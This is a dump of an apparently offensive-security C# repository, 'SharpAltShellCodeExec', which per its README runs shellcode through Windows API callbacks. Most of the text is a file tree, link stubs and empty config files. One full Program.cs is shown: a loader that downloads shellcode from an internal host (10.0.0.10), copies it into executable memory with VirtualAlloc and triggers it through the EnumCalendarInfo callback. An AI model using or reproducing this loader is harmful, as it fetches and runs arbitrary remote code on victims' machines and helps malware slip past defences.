├── .gitignore
├── LineDDA
├── LineDDA
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── LineDDA.csproj
└── LineDDA.sln
├── SetTimer
├── SetTimer
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── SetTimer.csproj
└── SetTimer.sln
├── CopyFile2
├── CopyFile2
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── CopyFile2.csproj
└── CopyFile2.sln
├── EnumDirTree
├── EnumDirTree
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumDirTree.csproj
└── EnumDirTree.sln
├── EnumFontsW
├── EnumFontsW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumFontsW.csproj
└── EnumFontsW.sln
├── EnumObjects
├── EnumObjects
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumObjects.csproj
└── EnumObjects.sln
├── EnumWindows
├── EnumWindows
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumWindows.csproj
└── EnumWindows.sln
├── GrayStringW
├── GrayStringW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── GrayStringW.csproj
└── GrayStringW.sln
├── EnumDesktopsW
├── EnumDesktopsW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumDesktopsW.csproj
└── EnumDesktopsW.sln
├── EnumPageFilesW
├── EnumPageFilesW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumPageFilesW.csproj
└── EnumPageFilesW.sln
├── EnumPwrSchemes
├── EnumPwrSchemes
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumPwrSchemes.csproj
└── EnumPwrSchemes.sln
├── CallWindowProcW
├── CallWindowProcW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── CallWindowProcW.csproj
└── CallWindowProcW.sln
├── CryptEnumOIDInfo
├── CryptEnumOIDInfo
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── CryptEnumOIDInfo.csproj
└── CryptEnumOIDInfo.sln
├── EnumCalendarInfo
├── EnumCalendarInfo
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumCalendarInfo.csproj
└── EnumCalendarInfo.sln
├── EnumChildWindows
├── EnumChildWindows
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumChildWindows.csproj
└── EnumChildWindows.sln
├── EnumDateFormatsW
├── EnumDateFormatsW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumDateFormatsW.sln
├── EnumSystemGeoID
├── EnumSystemGeoID
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ ├── Program.cs
│ └── EnumSystemGeoID.csproj
└── EnumSystemGeoID.sln
├── EnumUILanguagesW
├── EnumUILanguagesW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumUILanguagesW.sln
├── SymEnumProcesses
├── SymEnumProcesses
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── SymEnumProcesses.sln
├── EnumFontFamiliesW
├── EnumFontFamiliesW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumFontFamiliesW.sln
├── EnumSystemLocales
├── EnumSystemLocales
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumSystemLocales.sln
├── EnumThreadWindows
├── EnumThreadWindows
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumThreadWindows.sln
├── EnumTimeFormatsEx
├── EnumTimeFormatsEx
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumTimeFormatsEx.sln
├── SymFindFileInPath
├── SymFindFileInPath
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── SymFindFileInPath.sln
├── EnumCalenderInfoEx
├── EnumCalenderInfoEx
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumCalenderInfoEx.sln
├── EnumDesktopWindows
├── EnumDesktopWindows
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumDesktopWindows.sln
├── EnumResourceTypesW
├── EnumResourceTypesW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumResourceTypesW.sln
├── EnumSystemGeoNames
├── EnumSystemGeoNames
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumSystemGeoNames.sln
├── README.md
├── SysEnumSourceFiles
├── SysEnumSourceFiles
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── SysEnumSourceFiles.sln
├── CertEnumSystemStore
├── CertEnumSystemStore
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── CertEnumSystemStoreRunner.cs
└── CertEnumSystemStore.sln
├── EnumDisplayMonitors
├── EnumDisplayMonitors
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumDisplayMonitors.sln
├── EnumFontFamiliesExW
├── EnumFontFamiliesExW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumFontFamiliesExW.sln
├── EnumWindowStationsW
├── EnumWindowStationsW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumWindowStationsW.sln
├── ConvertThreadToFiber
├── ConvertThreadToFiber
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── ConvertThreadToFiber.sln
├── CreateThreadPoolWait
├── CreateThreadPoolWait
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── CreateThreadPoolWait.sln
├── CreateTimerQueueTimer
├── CreateTimerQueueTimer
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── CreateTimerQueueTimer.sln
├── EnumResourceTypesExW
├── EnumResourceTypesExW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumResourceTypesExW.sln
├── EnumSystemCodePagesW
├── EnumSystemCodePagesW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumSystemCodePagesW.sln
├── SetupCommitFileQueueW
├── SetupCommitFileQueueW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── SetupCommitFileQueueW.sln
├── EnumerateLoadedModules
├── EnumerateLoadedModules
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumerateLoadedModules.sln
├── CertSystemStoreLocation
├── CertSystemStoreLocation
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── CertSystemStoreLocation.sln
├── EnumLanguageGroupLocalesW
├── EnumLanguageGroupLocalesW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumLanguageGroupLocalesW.sln
├── EnumSystemLanguageGroupsW
├── EnumSystemLanguageGroupsW
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── App.config
│ └── Program.cs
└── EnumSystemLanguageGroupsW.sln
└── VerifierEnumerateResource
├── VerifierEnumerateResource
├── Properties
│ └── AssemblyInfo.cs
├── App.config
└── Program.cs
└── VerifierEnumerateResource.sln
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs
2 | *.user
3 | [Dd]ebug/
4 | [Rr]elease/
5 | [Bb]in/
6 | [Oo]bj/
7 |
--------------------------------------------------------------------------------
/LineDDA/LineDDA/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/LineDDA/LineDDA/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/SetTimer/SetTimer/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SetTimer/SetTimer/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CopyFile2/CopyFile2/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CopyFile2/CopyFile2/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumDirTree/EnumDirTree/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDirTree/EnumDirTree/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumFontsW/EnumFontsW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumFontsW/EnumFontsW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumObjects/EnumObjects/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumObjects/EnumObjects/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumWindows/EnumWindows/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumWindows/EnumWindows/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/GrayStringW/GrayStringW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/GrayStringW/GrayStringW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumDesktopsW/EnumDesktopsW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDesktopsW/EnumDesktopsW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumPageFilesW/EnumPageFilesW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumPageFilesW/EnumPageFilesW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumPwrSchemes/EnumPwrSchemes/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumPwrSchemes/EnumPwrSchemes/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CallWindowProcW/CallWindowProcW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CallWindowProcW/CallWindowProcW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CryptEnumOIDInfo/CryptEnumOIDInfo/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CryptEnumOIDInfo/CryptEnumOIDInfo/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumCalendarInfo/EnumCalendarInfo/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumCalendarInfo/EnumCalendarInfo/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumChildWindows/EnumChildWindows/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumChildWindows/EnumChildWindows/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumDateFormatsW/EnumDateFormatsW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDateFormatsW/EnumDateFormatsW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumSystemGeoID/EnumSystemGeoID/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemGeoID/EnumSystemGeoID/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumUILanguagesW/EnumUILanguagesW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumUILanguagesW/EnumUILanguagesW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/SymEnumProcesses/SymEnumProcesses/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SymEnumProcesses/SymEnumProcesses/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumFontFamiliesW/EnumFontFamiliesW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumFontFamiliesW/EnumFontFamiliesW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumSystemLocales/EnumSystemLocales/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemLocales/EnumSystemLocales/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumThreadWindows/EnumThreadWindows/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumThreadWindows/EnumThreadWindows/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumTimeFormatsEx/EnumTimeFormatsEx/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumTimeFormatsEx/EnumTimeFormatsEx/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/SymFindFileInPath/SymFindFileInPath/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SymFindFileInPath/SymFindFileInPath/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumCalenderInfoEx/EnumCalenderInfoEx/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumCalenderInfoEx/EnumCalenderInfoEx/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumDesktopWindows/EnumDesktopWindows/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDesktopWindows/EnumDesktopWindows/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumResourceTypesW/EnumResourceTypesW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumResourceTypesW/EnumResourceTypesW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumSystemGeoNames/EnumSystemGeoNames/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemGeoNames/EnumSystemGeoNames/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpAltShellCodeExec
2 | Alternative Shellcode Execution Via Callbacks in C# with P/Invoke
3 |
4 | Most techniques taken from https://github.com/aahmad097/AlternativeShellcodeExec
5 |
--------------------------------------------------------------------------------
/SysEnumSourceFiles/SysEnumSourceFiles/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SysEnumSourceFiles/SysEnumSourceFiles/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CertEnumSystemStore/CertEnumSystemStore/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CertEnumSystemStore/CertEnumSystemStore/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumDisplayMonitors/EnumDisplayMonitors/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDisplayMonitors/EnumDisplayMonitors/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumFontFamiliesExW/EnumFontFamiliesExW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumFontFamiliesExW/EnumFontFamiliesExW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumWindowStationsW/EnumWindowStationsW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumWindowStationsW/EnumWindowStationsW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/ConvertThreadToFiber/ConvertThreadToFiber/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/ConvertThreadToFiber/ConvertThreadToFiber/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CreateThreadPoolWait/CreateThreadPoolWait/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CreateThreadPoolWait/CreateThreadPoolWait/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CreateTimerQueueTimer/CreateTimerQueueTimer/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CreateTimerQueueTimer/CreateTimerQueueTimer/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumResourceTypesExW/EnumResourceTypesExW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumResourceTypesExW/EnumResourceTypesExW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumSystemCodePagesW/EnumSystemCodePagesW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemCodePagesW/EnumSystemCodePagesW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/SetupCommitFileQueueW/SetupCommitFileQueueW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SetupCommitFileQueueW/SetupCommitFileQueueW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumerateLoadedModules/EnumerateLoadedModules/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumerateLoadedModules/EnumerateLoadedModules/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CertSystemStoreLocation/CertSystemStoreLocation/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CertSystemStoreLocation/CertSystemStoreLocation/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/LineDDA/LineDDA/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/VerifierEnumerateResource/VerifierEnumerateResource/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/VerifierEnumerateResource/VerifierEnumerateResource/Properties/AssemblyInfo.cs
--------------------------------------------------------------------------------
/CopyFile2/CopyFile2/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumFontsW/EnumFontsW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SetTimer/SetTimer/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumDirTree/EnumDirTree/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumObjects/EnumObjects/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumWindows/EnumWindows/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/GrayStringW/GrayStringW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CallWindowProcW/CallWindowProcW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumDesktopsW/EnumDesktopsW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumPageFilesW/EnumPageFilesW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumPwrSchemes/EnumPwrSchemes/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumSystemGeoID/EnumSystemGeoID/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CryptEnumOIDInfo/CryptEnumOIDInfo/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumCalendarInfo/EnumCalendarInfo/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumChildWindows/EnumChildWindows/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumDateFormatsW/EnumDateFormatsW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumFontFamiliesW/EnumFontFamiliesW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumSystemLocales/EnumSystemLocales/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumThreadWindows/EnumThreadWindows/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumTimeFormatsEx/EnumTimeFormatsEx/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumUILanguagesW/EnumUILanguagesW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SymEnumProcesses/SymEnumProcesses/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SymFindFileInPath/SymFindFileInPath/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CertEnumSystemStore/CertEnumSystemStore/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ConvertThreadToFiber/ConvertThreadToFiber/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CreateThreadPoolWait/CreateThreadPoolWait/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumCalenderInfoEx/EnumCalenderInfoEx/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumDesktopWindows/EnumDesktopWindows/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumDisplayMonitors/EnumDisplayMonitors/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumFontFamiliesExW/EnumFontFamiliesExW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumResourceTypesExW/EnumResourceTypesExW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumResourceTypesW/EnumResourceTypesW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumSystemCodePagesW/EnumSystemCodePagesW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumSystemGeoNames/EnumSystemGeoNames/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumWindowStationsW/EnumWindowStationsW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SysEnumSourceFiles/SysEnumSourceFiles/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CreateTimerQueueTimer/CreateTimerQueueTimer/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumerateLoadedModules/EnumerateLoadedModules/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SetupCommitFileQueueW/SetupCommitFileQueueW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CertSystemStoreLocation/CertSystemStoreLocation/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/VerifierEnumerateResource/VerifierEnumerateResource/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/EnumCalendarInfo/EnumCalendarInfo/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace EnumCalendarInfo
5 | {
6 | internal class Program
7 | {
8 | static void Main(string[] args)
9 | {
10 | string url = "http://10.0.0.10/shellcode.bin";
11 | System.Net.WebClient client = new System.Net.WebClient();
12 | byte[] shellcode = client.DownloadData(url);
13 |
14 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
15 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
16 |
17 | EnumCalendarInfo(addr, 0x400, 0xFFFFFFFF, 0x00000015);
18 |
19 | }
20 |
21 | [DllImport("kernel32.dll", SetLastError = true)]
22 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
23 |
24 | [DllImport("kernel32.dll", SetLastError = true)]
25 | static extern bool EnumCalendarInfo(IntPtr lpCalInfoEnumProc, int Locale, uint Calendar, int CalType);
26 |
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/EnumWindows/EnumWindows/Program.cs:
--------------------------------------------------------------------------------
